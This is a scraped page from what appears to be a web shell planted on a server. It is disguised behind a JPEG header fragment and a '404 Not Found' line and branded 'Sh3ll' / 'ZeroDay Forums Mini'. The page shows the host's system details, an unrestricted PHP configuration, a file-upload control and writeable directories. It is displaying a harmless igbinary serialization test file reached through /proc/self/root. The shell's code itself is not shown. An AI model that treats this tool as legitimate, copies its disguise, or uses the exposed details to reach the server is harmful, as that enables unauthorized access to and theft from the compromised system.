����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/usr/share/tests/pecl/igbinary/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/tests/pecl/igbinary/tests/igbinary_090.phpt
--TEST--
Check for handling of IS_INDIRECT in arrays
--FILE--
<?php
$globalVar = 123;
$otherGlobalVar = &$globalVar;

call_user_func(function () {
    $x = $GLOBALS;
    foreach ($x as $key => $value) {
        if (!in_array($key, ['globalVar', 'otherGlobalVar'])) {
            unset($x[$key]);
        }
    }
    var_dump($x);
    $ser = igbinary_serialize($x);
    echo urlencode($ser) . "\n";
    var_dump(igbinary_unserialize($ser));

});
--EXPECT--
array(2) {
  ["globalVar"]=>
  &int(123)
  ["otherGlobalVar"]=>
  &int(123)
}
%00%00%00%02%14%02%11%09globalVar%25%06%7B%11%0EotherGlobalVar%25%01%01
array(2) {
  ["globalVar"]=>
  &int(123)
  ["otherGlobalVar"]=>
  &int(123)
}

ZeroDay Forums Mini